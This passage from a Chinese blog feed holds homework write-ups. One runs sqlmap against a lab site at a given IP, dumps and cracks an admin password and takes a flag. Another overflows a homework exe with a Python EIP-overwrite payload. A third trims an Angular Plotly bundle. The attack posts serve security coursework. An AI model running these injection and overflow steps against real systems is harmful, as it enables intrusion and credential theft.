sqlmap</span><br></pre></td></tr></table></figure><p>然后是直接先看一遍有没有漏洞</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" --level=1</span><br></pre></td></tr></table></figure><p>很快就会有提示检测到这是一个SQL Server的数据库了,当然最后得到的输出如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:</span><br><span class="line">---</span><br><span class="line">Parameter: id (GET)</span><br><span class="line"> Type: boolean-based blind</span><br><span class="line"> Title: AND boolean-based blind - WHERE or HAVING clause</span><br><span class="line"> Payload: id=2 AND 6832=6832</span><br><span class="line"></span><br><span class="line"> Type: stacked queries</span><br><span class="line"> Title: Microsoft SQL Server/Sybase stacked queries (comment)</span><br><span class="line"> Payload: id=2;WAITFOR DELAY '0:0:5'--</span><br><span class="line"></span><br><span class="line"> Type: AND/OR time-based blind</span><br><span class="line"> Title: Microsoft SQL Server/Sybase time-based blind</span><br><span class="line"> Payload: id=2 WAITFOR DELAY '0:0:5'</span><br><span class="line"></span><br><span class="line"> Type: UNION query</span><br><span class="line"> Title: Generic UNION query (NULL) - 4 columns</span><br><span class="line"> Payload: id=-4595 UNION ALL SELECT NULL,CHAR(113)+CHAR(106)+CHAR(98)+CHAR(112)+CHAR(113)+CHAR(100)+CHAR(107)+CHAR(115)+CHAR(73)+CHAR(84)+CHAR(70)+CHAR(114)+CHAR(87)+CHAR(87)+CHAR(75)+CHAR(102)+CHAR(78)+CHAR(117)+CHAR(103)+CHAR(114)+CHAR(116)+CHAR(111)+CHAR(111)+CHAR(118)+CHAR(79)+CHAR(89)+CHAR(118)+CHAR(105)+CHAR(101)+CHAR(76)+CHAR(68)+CHAR(88)+CHAR(111)+CHAR(102)+CHAR(112)+CHAR(120)+CHAR(104)+CHAR(105)+CHAR(82)+CHAR(77)+CHAR(87)+CHAR(84)+CHAR(68)+CHAR(87)+CHAR(66)+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(112)+CHAR(113),NULL,NULL-- -</span><br><span class="line">---</span><br><span class="line">[15:24:35] [INFO] testing Microsoft SQL Server</span><br><span class="line">[15:24:35] [INFO] confirming Microsoft SQL Server</span><br><span class="line">[15:24:35] [INFO] the back-end DBMS is Microsoft SQL Server</span><br><span class="line">web server operating system: Windows 2003 or XP</span><br><span class="line">web application technology: ASP.NET, Microsoft IIS 6.0, ASP</span><br><span class="line">back-end DBMS: Microsoft SQL Server 2005</span><br><span class="line">[15:24:35] [WARNING] HTTP error codes detected during run:</span><br><span class="line">500 (Internal Server Error) - 30 times</span><br><span class="line">[15:24:35] [INFO] fetched data logged to text files under '/home/ubuntu/.sqlmap/output/219.153.49.228'</span><br></pre></td></tr></table></figure><p>这段说明,<code>sqlmap</code>确定了它的后台数据库是<code>Microsoft SQL Server 2005</code>,使用<code>ASP.NET, Microsoft IIS 6.0, ASP</code>进行开发,操作系统是<code>Windows 2003 or XP</code>;而且<code>sqlmap</code>发现了三个注入点。</p><p>接下来就是一顿更加流氓的操作:因为<code>sqlmap</code>是一个足够强大的工具。</p><p>列出所有的数据库</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" --dbs</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">available databases [5]:</span><br><span class="line">[*] master</span><br><span class="line">[*] model</span><br><span class="line">[*] mozhe_db_v2</span><br><span class="line">[*] msdb</span><br><span class="line">[*] tempdb</span><br></pre></td></tr></table></figure><p><code>master</code> 应该是<code>SQL Server</code>系统的表,然后大概可以看看另外四个数据库中都是些什么。不过我们有更好的选项:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" --current-db</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">current database: 'mozhe_db_v2'</span><br></pre></td></tr></table></figure><p>然后只看 <code>mozhe_db_v2</code> 这个数据库,列出它所有的表</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" -D "mozhe_db_v2" --tables</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Database: mozhe_db_v2</span><br><span class="line">[2 tables]</span><br><span class="line">+--------------+</span><br><span class="line">| announcement |</span><br><span class="line">| manage |</span><br><span class="line">+--------------+</span><br></pre></td></tr></table></figure><p>看名字大概<code>announcement</code>是通知,也就是我们现在所查的东西;而我们需要的估计是<code>manage</code>,也就是用户的用户名和密码。那接着看它的里面的东西</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap -u "http://219.153.49.228:49485/new_list.asp?id=2" -D "mozhe_db_v2" -T manage --dump</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Database: mozhe_db_v2</span><br><span class="line">Table: manage</span><br><span class="line">[1 entry]</span><br><span class="line">+----+----------+------------------+</span><br><span class="line">| id | username | password |</span><br><span class="line">+----+----------+------------------+</span><br><span class="line">| 1 | admin_mz | 72e1bfc3f01b7583 |</span><br><span class="line">+----+----------+------------------+</span><br><span class="line"></span><br><span class="line">[16:22:18] [INFO] table 'mozhe_db_v2.dbo.manage' dumped to CSV file '/home/ubuntu/.sqlmap/output/219.153.49.228/dump/mozhe_db_v2/manage.csv'</span><br></pre></td></tr></table></figure><p>可以看到用户的用户名与密码,而且还导出了一个CSV文件。</p><p>直接使用这个用户名与密码,提示密码错误。这个<code>password</code>给的应该是数据库中原始的值,说明可能在数据存储之前进行了一次类似于哈希的操作。猜测用的就是最常用的方式<code>Md5</code>,目前解决这种问题的方式大概只有通过搜索碰撞的方式,幸好在站长之家就有这样的<a href="http://tool.chinaz.com/tools/md5.aspx">东西</a>能解决16位的md5。</p><p><img src="/images/md5_decode.png" alt="md5 decode"></p><p>解密得到的密码为<code>97285101</code>。再次使用其来登录,进入后台界面,拿到flag:<code>mozhe4b3d52c6133121c7377f8c0efe0 </code>。</p><p><img src="/images/inject_flag.png" alt="flag"></p><p>实际上怎么说,毫无美感可言;不过就论方便而言,果然还是脚本小子容易当。</p>]]></content>
<summary type="html"><p>信息安全的另一个作业是找一个<code>SQL Server</code>的动态网站注入,也没有说应该在哪里找,也没说必须手工注入。然后因为周末一直在浪,而也是死线逼近,于是就没多花什么时间地弄了一下。<del>是的,很水</del></p></summary>
<category term="信息安全" scheme="http://blog.ciaran.cn/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
<category term="水" scheme="http://blog.ciaran.cn/tags/%E6%B0%B4/"/>
<category term="sqlmap" scheme="http://blog.ciaran.cn/tags/sqlmap/"/>
</entry>
<entry>
<title>简单缓冲区溢出</title>
<link href="http://blog.ciaran.cn/2018/11/13/%E7%AE%80%E5%8D%95%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/"/>
<id>http://blog.ciaran.cn/2018/11/13/%E7%AE%80%E5%8D%95%E7%BC%93%E5%86%B2%E5%8C%BA%E6%BA%A2%E5%87%BA/</id>
<published>2018-11-12T16:47:06.000Z</published>
<updated>2024-01-16T06:38:43.162Z</updated>
<content type="html"><![CDATA[<p>信息安全课的一个作业是拿到一个大概是用C写的<code>exe</code>文件,然后用缓冲区溢出跳过其中的字符比较,用了<code>OllyDbg</code>在虚拟机中实践了一下,感觉起来很简单。<del>实际上也确实不难</del></p><span id="more"></span><p>本文在 <code>Windows XP</code> 虚拟机上进行。</p><p>我不确定在Windows 10 内是否依然能做到这些,然后又发现半年前VirtualBox 留了一个分布式对象实验的虚拟机,所以正好可以使用已经配置好的分辨率和共享文件夹。</p><p>我们拿到的题目是一个 <code>Overflow.zip</code>的文件夹:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">E:\Downloads\overflow>dir /B</span><br><span class="line">bo.jpg</span><br><span class="line">bo2.exe</span><br><span class="line">README.txt</span><br></pre></td></tr></table></figure><p><code>bo2.exe</code>就是我们的目标了。<code>bo.jpg</code>中给了一张图片,显示了密码,但是这个图片所显示的内容在<code>ida</code>查看之后并不是完全正确的。(有一些常数并不一样)</p><p>从图片中能读到的东西是它的密码是 <code>654N321S</code>。输入这段字符,程序会输出一个<code>Serial number is correct.</code>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe</span><br><span class="line"></span><br><span class="line">Enter Serial Number</span><br><span class="line">654N321S</span><br><span class="line">Serial number is correct.</span><br></pre></td></tr></table></figure><p>在随便输入一些字符可以见到,这个程序的逻辑是直接退出了。</p><p>然后我们的目的是要跳过这个所谓<code>Serial Number</code>的字符的比较,直接输出<code>Serial number is correct.</code>。</p><h2 id="确定漏洞存在"><a href="#确定漏洞存在" class="headerlink" title="确定漏洞存在"></a>确定漏洞存在</h2><p>在输入一定数量的字符后,发现输出了<code>Error! Input must be < 100 characters.</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe</span><br><span class="line"></span><br><span class="line">Enter Serial Number</span><br><span class="line">12345678901234567890123456789012345678901234567890123456789012345678901234567890</span><br><span class="line">123456789015234567890</span><br><span class="line">Error! Input must be < 100 characters.</span><br></pre></td></tr></table></figure><p>让我们给多更多的字符,看看会发生什么。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe</span><br><span class="line"></span><br><span class="line">Enter Serial Number</span><br><span class="line">11111111111111111111111111111111111111111111111111111111111111111111111111111111</span><br><span class="line">11111111111111111111111111111111111111111111111111111111111111111111111111111111</span><br><span class="line">11111111111111111111111111111111111111111111111111111111111111111111111111111111</span><br><span class="line">11111111111111111111111111111111111111111111111111111111111111111111111111111111</span><br><span class="line">11111111111111111111111111111111111111111111111111111111111111111111111111111111</span><br><span class="line">11111111111111111111111111111111111111111111111111111111111111111111111111111111</span><br><span class="line">11111111111111111111111111111111111111111111111111111111111</span><br></pre></td></tr></table></figure><p>程序没有给出任何的结果,就直接退出了,由此可见,漏洞是存在的。</p><p>我们还是来想一个简单的方式来获取输入吧,完全手动输入实在有点麻烦了:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">E:\Downloads\overflow>python -c "print('a'*200)" | .\bo2.exe</span><br><span class="line"></span><br><span class="line">Enter Serial Number</span><br><span class="line">Error! Input must be < 100 characters.</span><br></pre></td></tr></table></figure><p>在虚拟机外的主机上,我们是有<code>Python</code>的存在的,那么就可以通过使用python的程序生成大量的字符,然后通过管道输出给这个程序。不过因为我们是在虚拟机中进行这样的操作,所以我们是首先将python输出的内容重定向到一个文件中,然后再在虚拟机中将这个文件重定向到<code>bo2.exe</code>程序的输入。</p><h2 id="动态调试工具"><a href="#动态调试工具" class="headerlink" title="动态调试工具"></a>动态调试工具</h2><p>首先下载一个<code>OllyDbg</code>,所使用的是<code>52pojie</code>提供的版本:在<a href="https://down.52pojie.cn/Tools/Debuggers/">这里</a>下载。</p><p>然后在虚拟机中打开<code>bo2.exe</code>,可以看到这个程序的二进制代码(CPU界面)。在这界面的左下角的面板中可以看到,内存地址中就有那几句话:<code>Serial Number is correct</code>。实际上如果没有,就在左下使用右键-> search -> binary string 进行搜索也能找到这段话。可以看到这段话的地址:<code>00408030</code>。</p><p><img src="/images/odbg1.png" alt="OllyDbg 1"></p><p>然后再上面的汇编代码的面板中搜索这个地址:右键 -> <code>Search for</code> -> <code>constant</code>,然后搜索得到的结果就是在调用这段话的附近。实际上,因为这是用C语言编译器编译的程序,所以其主函数的代码都会在<code>00401000</code>附近,直接跳到这里也就好了。</p><p><img src="/images/odbg2.png" alt="OllyDbg"></p><p>现在我们看到了整个程序的结构,如果写成C的话大概是这样的。其中N是一个常数。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">char</span> str[N];</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\nEnter Serial Number\n"</span>);</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">"%s"</span>, str);</span><br><span class="line"> <span class="comment">// 出题人貌似漏了 == 100 的情况</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strlen</span>(str) > <span class="number">100</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Error! Input must be < 100 characters.\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(s, <span class="string">"654N321S"</span>) == <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Serial number is correct.\n"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="缓冲区溢出"><a href="#缓冲区溢出" class="headerlink" title="缓冲区溢出"></a>缓冲区溢出</h2><p>缓冲区溢出的原理就是简单的输入数量足够大的字符,然后覆盖程序的返回地址,也就是<code>EIP</code>寄存器。然后让我们再来做一次我们刚才所做的事情,也就是输入足够多的<code>a</code>,然后看看结果。</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c "<span class="built_in">print</span>('a'*<span class="number">300</span>)" > temp1.txt</span><br></pre></td></tr></table></figure><p><img src="/images/odbg3.png" alt="a*300"></p><p>这个时候程序理所当然的崩溃了,崩溃的原因是EIP这个地址不可读,因为这个时候EIP的地址已经被我们的<code>aaaa</code>给填满了,它的地址就是<code>61616161</code>也就是四个<code>a</code>的ascii码。现在,通过缓冲区溢出,我们已经能操控<code>EIP</code>也就是程序跳转的方向了。</p><p>然后根据我们的目标,我们需要将这个<code>EIP</code>指向我们想让它出现的语句,也就是<code>push bo2.00408030</code>。这是在调用<code>printf</code>函数之前的装载使用参数。在这之后就是调用<code>printf</code>了。而这句话的地址就是<code>00401060</code>,所以我们现在需要将<code>EIP</code>给覆盖成<code>00401060</code>即可。</p><p>这个时候当然其实本来应该是进一步通过不同的输入,找到具体是哪一个位置的<code>aaaa</code>变成了<code>EIP</code>的值。但是我比较蠢,懒得花费这种智力,所以就莽了过去:</p><p>因为python的print会自动以人类可见的格式输出,<code>\x00</code>就真的是<code>'\x00'</code>这样输出了,所以得使用<code>sys.stdout.buffer.write()</code></p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c "import sys; sys.stdout.buffer.write(b'\x00\x40\x10\x60'*<span class="number">100</span>)" > temp2.txt</span><br></pre></td></tr></table></figure><p>简单说一下,因为这是四个完全不相同的字符,因为EIP只有四个字符的位置,然后我只要确定这四个字符的相对位置,补出相应的前缀,这样总能保证EIP被正确地填上。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe <temp2.txt</span><br><span class="line"></span><br><span class="line">Enter Serial Number</span><br></pre></td></tr></table></figure><p>然后发现并没有取得相应的效果。(这就有点尴尬)</p><p>然后再次用<code>OllyDbg</code>发现<code>EIP</code>的值为<code>\x60\x10\x40\x00</code>,确实是我们给出的字符,没有位移,但是看来顺序反了。这是端序的问题,导致结果完全不一样。不过不会有什么影响,再来一遍逆序的即可。</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -c "import sys; sys.stdout.buffer.write(b'\x60\x10\x40\x00'*<span class="number">100</span>)" > temp3.txt</span><br></pre></td></tr></table></figure><p>然后就能得到正确的结果:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">C:\Documents and Settings\Ciaran\桌面\overflow>.\bo2.exe <temp3.txt</span><br><span class="line"></span><br><span class="line">Enter Serial Number</span><br><span class="line">Serial number is correct.</span><br><span class="line">Serial number is correct.</span><br></pre></td></tr></table></figure><p>这样就直接绕过了所谓序列码直接给出了结果。</p>]]></content>
<summary type="html"><p>信息安全课的一个作业是拿到一个大概是用C写的<code>exe</code>文件,然后用缓冲区溢出跳过其中的字符比较,用了<code>OllyDbg</code>在虚拟机中实践了一下,感觉起来很简单。<del>实际上也确实不难</del></p></summary>
<category term="信息安全" scheme="http://blog.ciaran.cn/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
<category term="水" scheme="http://blog.ciaran.cn/tags/%E6%B0%B4/"/>
<category term="OllyDbg" scheme="http://blog.ciaran.cn/tags/OllyDbg/"/>
</entry>
<entry>
<title>Angular使用Plotly记录</title>
<link href="http://blog.ciaran.cn/2018/11/05/Angular%E4%BD%BF%E7%94%A8Plotly%E8%AE%B0%E5%BD%95/"/>
<id>http://blog.ciaran.cn/2018/11/05/Angular%E4%BD%BF%E7%94%A8Plotly%E8%AE%B0%E5%BD%95/</id>
<published>2018-11-05T10:47:00.000Z</published>
<updated>2024-01-16T06:38:43.089Z</updated>
<content type="html"><![CDATA[<p>项目管理的作业是完成一个图书管理管理系统。这是我第一次写前端界面,就且不说写得好不好看,确实遇到了很多问题,比如说之前的一篇博客<a href="/2018/09/28/Angular%E8%B7%A8%E5%9F%9F%E8%AE%BF%E9%97%AE%E8%B1%86%E7%93%A3API/">Angular跨域访问豆瓣API</a>。在昨天晚上基本上是把所有的功能都完成了,但是在部署的时候,发现有一个文件大小好像不是特别对。</p><h2 id="情况简介"><a href="#情况简介" class="headerlink" title="情况简介"></a>情况简介</h2><p>我们使用的是 <code>Angular-cli</code> 来新建和管理Angular项目,它会使用webpack将我们的项目进行打包以便部署。</p><p>至于部署的方式中,我们使用的是<code>angular-cli-ghpages</code>这个工具。当然我们首先需要设置好github pages上的分支。</p><p><img src="/images/bibliosoft_githubpages_setting.png" alt="angular github pages设置"></p><p>通过npm 可以进行安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm i -g angular-cli-ghpages</span><br></pre></td></tr></table></figure><p>我们需要将我们的项目进行打包,指定我们给出的域名和子域名:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ng build --prod --base-href <span class="string">"http://bibliosoft.ciaran.cn/"</span></span><br></pre></td></tr></table></figure><p>之后使用<code>angular-cli-ghpages</code>提交到github上项目的一个分支里。因为在<code>angular.json</code>中设置的<code>"outputPath": "dist/frontend"</code>,所以<code>--dir</code>的参数为<code>dist\frontend\</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ngh --<span class="built_in">dir</span> dist\frontend\ --cname bibliosoft.ciaran.cn</span><br></pre></td></tr></table></figure><p>然后经队友反应,我们的网页在部署上去之后几乎打不开,这令我非常惊讶。然后通过查看浏览器Dev Tools中的网络情况,我发现有个文件的大小,竟然高达4M,而就是这个文件,花了50+秒的时间来进行加载,给了一种几乎打不开网页的绝望。</p><p>在运行了<code>ng build --prod</code>之后,出现了下面这个输出。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\ciaran\Desktop\Projects\BibliosoftFrontend>ng build --prod --base-href "http://bibliosoft.ciaran.cn/"</span><br><span class="line"></span><br><span class="line">Date: 2018-11-05T12:04:53.287Z</span><br><span class="line">Hash: 9a6e25332ddfeb9c55dd</span><br><span class="line">Time: 294347ms</span><br><span class="line">chunk {scripts} scripts.ee7fed27c36eaa5fa8a9.js (scripts) 137 kB [rendered]</span><br><span class="line">chunk {0} runtime.ec2944dd8b20ec099bf3.js (runtime) 1.44 kB [entry] [rendered]</span><br><span class="line">chunk {1} main.9eb5eb35c7698cd3671d.js (main) 4.34 MB [initial] [rendered]</span><br><span class="line">chunk {2} polyfills.11f7482fa4a251158466.js (polyfills) 59.6 kB [initial] [rendered]</span><br><span class="line">chunk {3} styles.dde26916a8c71097a81f.css (styles) 224 kB [initial] [rendered]</span><br></pre></td></tr></table></figure><p>可以看到的是,<code>main.js</code>这个文件足有4MB。在之前的十几次部署中,基本都是800k左右的大小,这说明我们需要删减一些东西了。</p><h2 id="分析问题"><a href="#分析问题" class="headerlink" title="分析问题"></a>分析问题</h2><p>在Angular的 <code>ng build --prod</code> 中,<code>main.js</code> 这个文件是存放程序的代码的文件。这样的增长肯定是我引入了一些新的依赖导致的。在这个期间我们新加了一个绘图的功能尝试使用了<code>plotly</code>,以及为了尝试更好的API而使用了<code>material-angular</code>,当然我确定就是这两个东西让我的<code>main.js</code>膨胀了起来。于是我使用了<code>webpack-bundle-analyzer</code>来对我们webpack打包的文件进行分析。</p><p>首先安装它:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install webpack-bundle-analyzer -g</span><br></pre></td></tr></table></figure><p>我们需要在编译的时候添加一个<code>--stats-json</code>的参数,这样webpack在打包的时候会输出一个<code>stats.js</code>文件作为这些文件中文件来源的信息。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ng build --prod --base-href <span class="string">"http://bibliosoft.ciaran.cn/"</span> --stats-json</span><br></pre></td></tr></table></figure><p>然后我们可以对这个文件使用<code>webpack-bundle-analyzer</code>进行分析,这样我们就能得到一个产物文件夹的内容来源的分析报告。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">webpack-bundle-analyzer dist\frontend\stats.json</span><br></pre></td></tr></table></figure><p>这条命令会在8888端口启动一个分析报告的服务器并直接帮你打开这个网址。这样我们能看到这样的一个页面:</p><p><img src="/images/bibliosoft_analyzer_before.png" alt="Webpack analyze before"></p><p>虽然在左上角那里勾选<code>Show content of concatenated modules (inaccurate)</code>能显示更多的信息,但是单看图片就已经能发现:最大的部分来自于<code>plotly.min.js</code>。</p><p>细看之下 <code>material-angular</code> 的部分占了700k,但是 <code>plotly.min.js</code> 的大小为2.73M。</p><p>这确实令人难以容忍。基本上去掉了plotly之后就是原来大小了,但是我又确实不希望整个plotly的部分都砍掉。</p><h2 id="减小Plotly"><a href="#减小Plotly" class="headerlink" title="减小Plotly"></a>减小Plotly</h2><p>在我们的项目中,使用了 <code>angular-plotly.js</code> 库来使用<code>Plot.ly</code>,据称这是<code>Plot.ly</code>绘图库的官方Angular wrapper,直接提供了一个<code>plotly-plot</code>的组件,然后直接使用即可,这样确实非常舒服,但是很明显对我们来说这太沉重了。</p><p>首先分析一下我们能做到什么程度,我们在项目中所画的图只有 一张折线图和几张饼图,查阅文档后发现它们大概都来自于<code>Plot.ly</code>的<a href="https://plot.ly/javascript/#basic-charts">basic chart的部分</a>,那么我们可以只要plotly的basic部分就足够了。</p><p>那样我们需要重写一个<code>Plot.ly</code>的组件,不过这不算特别困难。首先是安装<code>plotly.js</code>,这是一个完全必要的部分,即使是 <code>angular-plotly.js</code> 也会依赖于这个<code>plotly.js</code>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install plotly.js --save</span><br></pre></td></tr></table></figure><p>在安装了依赖后,在使用Plotlyjs的组件的ts文件中添加它。</p><figure class="highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> <span class="title class_">Plotly</span> <span class="keyword">from</span> <span class="string">'plotly.js/dist/plotly-basic.min.js'</span>;</span><br></pre></td></tr></table></figure><p>这样就能确保只引入了 <code>plotly-basic</code> 的部分。</p><p>在使用的时候,要画图我们需要调用:</p><figure class="highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Plotly</span>.<span class="title function_">plot</span>(element, data, layout)</span><br></pre></td></tr></table></figure><p>其中 element 参数是 <code>ElementRef<any>.nativeElement</code>,对于如何得到这样的参数,我们可以写出一个组件的示例:</p><figure class="highlight ts"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> {<span class="title class_">Component</span>, <span class="title class_">OnInit</span>, <span class="title class_">ViewChild</span>} <span class="keyword">from</span> <span class="string">'@angular/core'</span>;</span><br><span class="line"><span class="keyword">import</span> * <span class="keyword">as</span> <span class="title class_">Plotly</span> <span class="keyword">from</span> <span class="string">'plotly.js/dist/plotly-basic.min.js'</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span>({</span><br><span class="line"> <span class="attr">selector</span>: <span class="string">'plotly-test'</span>,</span><br><span class="line"> <span class="attr">template</span>: <span class="string">`<div #chart></div>`</span>,</span><br><span class="line"> <span class="attr">providers</span>: [],</span><br><span class="line">})</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">class</span> <span class="title class_">PlotlyTestComponent</span> <span class="keyword">implements</span> <span class="title class_">OnInit</span> {</span><br><span class="line"> <span class="meta">@ViewChild</span>(<span class="string">'chart'</span>) <span class="attr">el</span>: <span class="title class_">ElementRef</span>;</span><br><span class="line"></span><br><span class="line"> <span class="title function_">ngOnInit</span>(<span class="params"></span>) {</span><br><span class="line"> <span class="keyword">const</span> data = [{</span><br><span class="line"> <span class="attr">x</span>: [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>],</span><br><span class="line"> <span class="attr">y</span>: [<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>]</span><br><span class="line"> }];</span><br><span class="line"> <span class="keyword">const</span> layout = {</span><br><span class="line"> <span class="attr">title</span>: <span class="string">'test image'</span></span><br><span class="line"> }</span><br><span class="line"> <span class="title class_">Plotly</span>.<span class="title function_">plot</span>(el.<span class="property">nativeElemrnt</span>, data, layout);</span><br><span class="line"> }</span><br><span 